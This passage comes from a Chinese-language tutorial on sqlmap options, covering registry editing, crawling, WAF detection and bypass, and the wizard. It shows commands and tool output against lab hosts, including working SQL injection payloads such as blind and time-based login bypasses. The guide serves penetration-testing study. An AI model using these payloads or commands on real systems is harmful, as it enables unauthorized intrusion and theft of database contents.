使用參數“–priv-esc”可以執行Metasploit的getsystem命令以嘗試提升權限。

十七、Windows註冊表操作

滿足以下條件就可以對Windows註冊表進行操作:

  • 目標數據庫管理系統是運行在Windows上的
  • 目標數據庫管理系統是MySQL、PostgreSQL或微軟SQL Server
  • 支持堆查詢
  • 目標數據庫管理系統當前用戶有足夠的權限

1.讀Windows註冊表鍵值

參數:–reg-read

2.寫Windows註冊表鍵值

參數:–reg-add

3.刪除Windows註冊表鍵值

參數:–reg-del

4.輔助

參數:–reg-key、–reg-value、–reg-data和–reg-type

適當使用上列參數就可以在命令中添加或修改一個Windows註冊表鍵值而不用在Sqlmap運行時以問答方式提供數據。

  • –reg-key:指定Windows註冊表鍵值的路徑
  • –reg-value:指定Windows註冊表鍵值的鍵
  • –reg-data:指定Windows註冊表鍵值的值
  • –reg-type:指定Windows註冊表鍵值的值的數據類型

下面是一個例子:

  python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

十八、通用選項

1.從SQLite文件中載入Sqlmap會話

參數:-s

Sqlmap會自動地爲每一個目標創建長久保存的會話SQLite文件,該文件統一存儲在特定目錄(如:~/.sqlmap/output/)中,其中保存着恢復會話所需的所有數據。若用戶想要明確地指定SQLite文件(例如想要將多個目標的數據存儲到同一個SQLite文件中),可使用此參數。

2.將HTTP(S)流量記錄到日誌文件中

參數:-t

該參數後跟一個文件路徑,用於將HTTP(S)請求和響應以文本格式記錄到文件中作爲日誌。這樣的日誌在調試時是很有用的。

3.非交互模式

參數:–batch

使用該參數可以讓Sqlmap以非交互模式運行,所有要求的輸入都會取默認值。

4.設置字符編碼

參數:–charset

爲正確解碼數據,Sqlmap會使用Web服務器提供的信息(如HTTP頭部中字符編碼的設置),或是使用第三方庫chardet來啓發式地確定字符編碼。

可以使用參數“–charset”來指定字符編碼,如“–charset=GBK”。

5.從目標URL開始爬取目標站點

參數:–crawl

Sqlmap可以從目標URL開始爬取目標站點並收集可能存在漏洞的URL。使用該參數還需要設置爬取深度,深度是相對於開始爬取的目標URL而言的。只有所有新鏈接都被遞歸地訪問過後纔算爬取結束。建議該參數與“–delay”配合使用。

下例的目標的MySQL:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

部分輸出如下:

[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)

參數:–crawl-exclude

在此參數後跟一個正則表達式可以排除不想爬取的URL。若URL匹配正則,則不被爬取。如用“–crawl-exclude=logout”來排除所有含有字符串“logout”的URL。

6.設置輸出CSV文件中的分隔符

參數:–csv-del

當數據被輸出到CSV文件(–dump-format=CSV)時,默認以“,”分隔,可以使用此參數指定分隔符。如:“–csv-del=”;””。

7.數據庫管理系統認證憑據

參數:–dbms-cred

在某些情況下由於數據庫管理系統當前用戶權限較低從而導致動作執行失敗,此時可以用此參數提供admin用戶認證憑據,Sqlmap就會對執行失敗的部分特地使用“run as”機制(如:微軟SQL Server的OPENROWSET)以admin用戶身份重新執行失敗的動作。當然,得知道admin用戶認證憑據才行。

8.數據輸出格式

參數:–dump-format

Sqlmap對列舉的數據有三種不同的輸出格式:CSV、HTML和SQLITE。默認爲CSV格式,每個數據表都被保存到一個文本文件中,一行是一條記錄,以逗號分隔(或是用“–csv-del”指定分隔符)。選擇HTML格式,所有數據被保存在一個HTML文件中,數據存放在一個個table中。選擇SQLITE格式,所有數據被保存在一個SQLITE文件中,SQLITE中表名和結構會和原表相同。

9.估計完成時間

參數:–eta

該參數用於顯示估計的完成時間。下例是目標爲Oracle的布爾型盲注:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

部分輸出如下:

[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                           ] 11/64

Then:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如你所見,Sqlmap先計算查詢輸出的長度,然後估計完成時間,最後顯示百分比進度條並統計已經接受的數據。

10.刷新會話文件

參數:–flush-session

使用該參數可以刷新會話文件,以避免Sqlmap默認的緩存機制可能造成的一些問題。使用該參數的前提是真正理解會話文件的概念。另外一個可行的方法是手工刪除會話文件。

11.解析和測試表單輸入字段

參數:–forms

除了用“-r”和“–data”來測試表單數據是否存在注入點外,還可以使用參數“–forms”來測試表單數據是否存在注入點。

同時使用參數“–forms”和“-u”,Sqlmap會解析目標URL(“-u”指定的那個URL)返回頁面中的表單,測試表單是否有注入點,而不對目標URL進行注入測試。

12.忽略會話文件中的查詢結果

參數:-fresh-queries

使用此參數用於忽略會話文件中的查詢結果重新執行查詢。

13.對返回結果使用HEX函數

參數:–hex

非ASCII數據很容易在傳輸時出錯,使用hex函數可以將目標數據庫中數據以十六進制返回。

下例的目標是PostgreSQL:

  python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

部分輸出如下所示:

[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

14.指定輸出目錄路徑

參數:–output-dir

Sqlmap默認將會話文件和結果文件保存到某個子目錄output中,可以使用此參數指定輸出目錄,如:“–output-dir=/tmp”。

15.從響應中解析DBMS的錯誤信息

參數:–parse-errors

若是Web應用被配置成Debug模式則很可能在HTTP響應頁面中顯示SQL錯誤信息。這些錯誤信息對於理解某操作失敗的原因是很有用的。例如因爲權限不足導致的失敗錯誤信息是類似這樣的:“Access denied for user ”。

下例的目標是微軟SQL Server:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

部分輸出如下所示:

[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query

16.指定中軸列

參數:–pivot-column

有時(如在微軟SQL Server、Sybase和SAP MaxDB中)由於缺乏類似機制不可以直接使用偏移m,n的方式列舉數據表記錄。在這種情況下,Sqlmap通過確定最適合的中軸列(最獨特的值)來列舉數據,中軸列的值稍後用於檢索其他列值。

如果自動選擇失敗就需要使用該參數手動指定中軸列,如:“–pivot-column=id”。

17.保存選項到配置文件中

參數:–save

使用該參數可以保存Sqlmap命令行參數到配置文件中,該文件可編輯並且可以使用參數“-c”加載。配置文件是INI格式的。

18.升級Sqlmap

參數:–update

使用此參數可以升級Sqlmap,顯然,需要能夠連接互聯網。萬一執行失敗,可以在Sqlmap安裝目錄中執行“git pull”來升級Sqlmap。在Windows中沒有git命令可以使用SmartGit之類的git客戶端。

實際上“–update”和“git pull”以同樣的方式升級Sqlmap,都是從git倉庫中獲取最新源代碼。

強烈建議在報告bug前先升級Sqlmap。

十九、雜項

1.使用簡寫

參數:-z

有些參數組合是被經常用到的,如“–batch –random-agent –ignore-proxy
–technique=BEU”,這樣寫一大串很不好看,在Sqlmap中,提供了一種簡寫的方式來縮短命令長度。

利用參數“-z”,每個參數都可以只寫前幾個字母,如“–batch”可以簡寫爲“bat”。簡寫的原則是能夠有所區別、對應的參數唯一就行。各個參數用逗號隔開。如:

  python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以簡寫爲:

  python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

再如:

  python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"      

可以簡寫爲:

  python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

2.在成功檢測到注入點時報警

參數:–alert

該參數用於在找到新的注入點時發出警報,後跟一個用於發出警報的命令,如:

  python sqlmap.py -r data.txt --alert "notify-send '找到漏洞了'"

部分輸出如下:

  [18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001")
  [18:59:36] [INFO] executing alerting shell command(s) ('notify-send '找到漏洞了'')

上例中用於發出警報的命令是Ubuntu中的notify-send命令。

3.設置問題的回答

參數:–answers

使用“–batch”以非交互模式運行時所有問題都以按默認值作爲回答。有時不想以默認值爲答案又想使用非交互模式,此時可以使用參數“–answers”對特定問題進行回答,若回答多個問題,以逗號分隔。如:

  python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch

部分輸出如下:

  [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  [xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N

4.在成功檢測到注入點時發出“嘟”聲

參數:–beep

使用此參數可以在成功檢測到注入點時發出“嘟”聲。使用“-m”從日誌文件中檢測大量網站時該參數會格外有用。

5.清除Sqlmap創建的臨時表和自定義函數

參數:–cleanup

強烈推薦在測試結束後使用此參數清除Sqlmap創建的臨時表和自定義函數,Sqlmap會儘可能地清除數據庫管理系統和文件系統上的入侵痕跡。

6.檢查依賴

參數:–dependencies

Sqlmap的有些功能依賴第三方庫,在用到時發現沒有這些庫會報錯退出。使用此參數可以檢查依賴的第三方庫是否安裝,如:

  python sqlmap.py --dependencies

部分輸出如下:

  [*] starting at 19:16:05

  [19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
  [19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
  [19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/

  [*] shutting down at 19:16:05

可以看到我缺少的主要是用於連接數據庫的第三方庫。

7.關閉彩色輸出

參數:–disable-coloring

8.指定使用Google dork結果的某頁

參數:–gpage

使用參數“-g”時默認默認選擇Google dork結果的前100條做注入測試。結合使用此參數,可以指定使用Google dork結果的某頁。

9.使用HTTP參數污染

參數:–hpp

HTTP參數污染是繞過WAF/IPS/IDS的一種技術,詳情見此處。這一技術針對ASP/IIS和ASP.NET/IIS平臺尤其有效。如果懷疑目標受WAF/IPS/IDS保護,可以嘗試用此參數進行繞過。

10.徹底檢測WAF/IPS/IDS

參數:–identify-waf

Sqlmap可以識別WAF/IPS/IDS以便用戶進行針對性操作(如:添加“–tamper”)。目前Sqlmap支持檢測30多種不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。檢測WAF的腳本可以在安裝目錄的waf目錄中找到。

下例的目標是MySQL,受ModSecurity WAF保護:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

部分輸出如下:

  [xx:xx:23] [INFO] testing connection to the target URL
  [xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
  [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
  [xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
  [xx:xx:23] [DEBUG] page not found (404)
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
  [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
  [xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')

參數:–skip-waf

默認地Sqlmap會發送虛假的SQL注入playload以試探目標是否有保護措施。如有任何問題,用戶可以使用參數“–skip-waf”來禁用這一技術。

11.模仿智能手機

參數:–mobile

有些網站對智能手機和桌面環境的返回是不同的。當需要測試這種網站的智能手機頁面時可以設置一個智能手機的User-Agent,或者更簡單地,使用此參數,Sqlmap會在執行時詢問要模仿成流行的手機中的哪種,如:

  $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
  [...]
  which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
  [1] Apple iPhone 4s (default)
  [2] BlackBerry 9900
  [3] Google Nexus 7
  [4] HP iPAQ 6365
  [5] HTC Sensation
  [6] Nokia N97
  [7] Samsung Galaxy S
  > 1
  [...]

12.離線模式(僅僅使用會話數據)

參數:–offline

添加此參數,Sqlmap將僅僅使用以前存儲的會話數據做測試而不向目標發送任何數據包。

13.在Google dork中展示頁面權重

參數:–page-rank

與參數“-g”一起使用,這會使Sqlmap向Google發起更多的請求並展示頁面權重。

14.從輸出目錄中安全移除所有內容

參數:–purge-output

當用戶想要安全地刪除輸出目錄中的所有內容時使用此參數。所謂安全刪除,不僅僅是刪除,而是在刪除前先用隨機數據覆蓋原有數據,甚至對文件名和目錄名也進行重命名以覆蓋舊名稱,所有覆蓋工作完成後才執行刪除。最後,輸出目錄中會一無所有。如:

  python sqlmap.py --purge-output -v 3

部分輸出如下:

  [*] starting at 19:51:36

  [19:51:36] [DEBUG] cleaning up configuration parameters
  [19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...
  [19:51:36] [DEBUG] changing file attributes
  [19:51:36] [DEBUG] writing random data to files
  [19:51:36] [DEBUG] truncating files
  [19:51:36] [DEBUG] renaming filenames to random values
  [19:51:36] [DEBUG] renaming directory names to random values
  [19:51:36] [DEBUG] deleting the whole directory tree

  [*] shutting down at 19:51:36

15.快速掃描

參數:–smart

當有大量URL要進行測試(如:“-m”),目的是儘快找出其中存在的某些注入點而有所遺漏也沒有關係時可以使用“–smart”進行正向啓發式掃描。此時只有讓數據庫管理系統報錯的參數纔會做進一步測試,其餘URL均被跳過。如:

  $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
  [...]
  [xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
  [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
  [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
  [xx:xx:14] [INFO] skipping GET parameter 'ca'
  [xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
  [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
  [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
  [xx:xx:14] [INFO] skipping GET parameter 'user'
  [xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
  [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
  [xx:xx:14] [INFO] GET parameter 'id' is dynamic
  [xx:xx:14] [WARNING] reflective value(s) found and filtering out
  [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
  injectable (possible DBMS: 'MySQL')
  [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
  [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
  [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
  [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
  [xx:xx:14] [INFO] testing 'MySQL inline queries'
  [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
  [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  [xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
  [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
  time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
  [xx:xx:24] [INFO] target URL appears to have 3 columns in query
  [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
  [...]

16.通過關鍵詞使用或跳過payload

參數:–test-filter

若只想使用包含關鍵詞“ROW”的payload可使用參數“–test-filter=ROW”。下面是以Mysql爲目標的例子:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
  • 1
  • 2

部分輸出如下:

  [xx:xx:39] [INFO] GET parameter ’id’ is dynamic
  [xx:xx:39] [WARNING] reflective value(s) found and filtering out
  [xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
  [xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
  [xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
  [xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
  sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
  ---
  Place: GET
  Parameter: id
      Type: error-based
      Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
      Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
  ---

參數:–test-skip

若不想使用包含關鍵詞“BENCHMARK”的payload可使用參數“–test-skip=BENCHMARK”。

17.交互式Sqlmap Shell

參數:–sqlmap-shell

使用此參數可以打開一個交互式的Sqlmap Shell,支持歷史記錄。如:

  werner@Yasser:~$ sqlmap --sqlmap-shell
          ___
         __H__
   ___ ___[.]_____ ___ ___  {1.1.10#stable}
  |_ -| . ["]     | .'| . |
  |___|_  [(]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  sqlmap-shell> -u "192.168.56.102"
  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting at 20:22:46

  [20:22:46] [INFO] testing connection to the target URL
  [20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
  [20:22:46] [INFO] testing if the target URL is stable
  [20:22:47] [INFO] target URL is stable
  [20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')

  [*] shutting down at 20:22:47

          ___
         __H__
   ___ ___[.]_____ ___ ___  {1.1.10#stable}
  |_ -| . ["]     | .'| . |
  |___|_  [(]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  sqlmap-shell> exit

18.爲初學者準備的簡單向導

參數:–wizard

Sqlmap特地爲初學者準備了一個有着儘可能少問題的工作流的嚮導。用戶輸入目標後若一直按回車選擇默認回答到工作流的最後也會得到一個正確的結果。如:

  werner@Yasser:~$ sqlmap --wizard
          ___
         __H__
   ___ ___["]_____ ___ ___  {1.1.10#stable}
  |_ -| . [)]     | .'| . |
  |___|_  ["]_|_|_|__,|  _|
        |_|V          |_|   http://sqlmap.org

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

  [*] starting at 20:39:41

  [20:39:41] [INFO] starting wizard interface
  Please enter full target URL (-u): http://192.168.56.102/login.php
  POST data (--data) [Enter for None]: username=001&password=003
  Injection difficulty (--level/--risk). Please choose:
  [1] Normal (default)
  [2] Medium
  [3] Hard
  > 1
  Enumeration (--banner/--current-user/etc). Please choose:
  [1] Basic (default)
  [2] Intermediate
  [3] All
  > 1

  sqlmap is running, please wait..

  sqlmap resumed the following injection point(s) from stored session:
  ---
  Parameter: username (POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
      Payload: username=001%' OR NOT 2143=2143#&password=003

      Type: AND/OR time-based blind
      Title: MySQL >= 5.0.12 OR time-based blind (comment)
      Payload: username=001%' OR SLEEP(5)#&password=003
  ---
  web server operating system: Linux Ubuntu
  web application technology: Apache 2.4.7, PHP 5.5.9
  back-end DBMS operating system: Linux Ubuntu
  back-end DBMS: MySQL >= 5.0.12
  banner:    '5.5.50-0ubuntu0.14.04.1'
  current user:    'root@localhost'
  current database:    'DSSchool'
  current user is DBA:    True

  [*] shutting down at 20:40:07

總結

完整閱讀Sqlmap官方手冊後終於對Sqlmap有了一個較爲全面的認識。以前只是有所耳聞,現在切實地感受到了Sqlmap的強大,也愈加敬佩Sqlmap的兩位作者:

參考文獻

  1. sqlmap官網
  2. SqlMap用戶手冊
  3. sqlmap批量掃描burpsuite請求日誌記錄
  4. How to get past the login page with Wget?
  5. 筆記: Data Retrieval over DNS in SQL Injection Attacks
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章